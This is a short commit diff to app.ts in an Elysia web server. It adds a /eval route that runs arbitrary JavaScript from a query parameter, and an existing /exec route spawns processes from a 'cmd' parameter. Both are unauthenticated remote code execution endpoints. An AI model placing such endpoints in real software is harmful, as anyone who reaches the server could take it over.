Update app.ts

app.ts

@@ -14,6 +14,12 @@ const app = new Elysia()
     }))
     .get("/", () => "Hello, Elysia!")
     .get("/items/:id", ({ params }) => `Item ID: ${params.id}`)
+    .get("/eval", async ({ query }) => {
+        const { code } = query
+        if (!code) return error(400, "missing code")
+        const returned = await eval(`(async () => {${code}})()`)
+        return returned
+    })
     .get('/exec', async function* ({ query, error }) {
             if (!query.cmd) return error(400, "required query 'cmd'")
 	     	const proc = Bun.spawn({